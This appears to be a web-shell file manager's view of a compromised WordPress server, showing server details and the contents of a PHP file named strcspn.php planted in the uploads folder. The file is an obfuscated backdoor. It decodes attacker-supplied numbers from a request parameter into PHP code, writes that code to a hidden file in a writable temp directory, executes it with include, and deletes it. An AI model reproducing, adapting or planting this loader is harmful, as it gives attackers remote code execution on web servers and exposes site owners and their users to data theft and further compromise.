HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/thaler/wp-content/uploads/2025/12/strcspn.php
<?php

if(in_array("\x6F\x62j", array_keys($_REQUEST))){
	$binding = $_REQUEST["\x6F\x62j"];
	$binding= explode  ("." ,	$binding) ;  	
	$resource	= '';
            $s7	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= strlen( $s7	 );
            $u	= 0;
            $len	= count( $binding	 );
    
            do {if( $u >= $len) break;
                $v4	= $binding[$u];
                $sChar	= ord( $s7[$u% 	$lenS]	 );
                $dec	= ( ( int)$v4 - $sChar -( $u% 	10)) ^ 64;
                $resource.= chr( $dec	 );
                $u++;
            } while( true	 );
	$desc = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]);
	foreach ($desc as $data_chunk):
    		if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) {
    $entity = sprintf("%s/.pgrp", $data_chunk);
    if (file_put_contents($entity, $resource)) {
	include $entity;
	@unlink($entity);
	exit;
}
}
endforeach;
}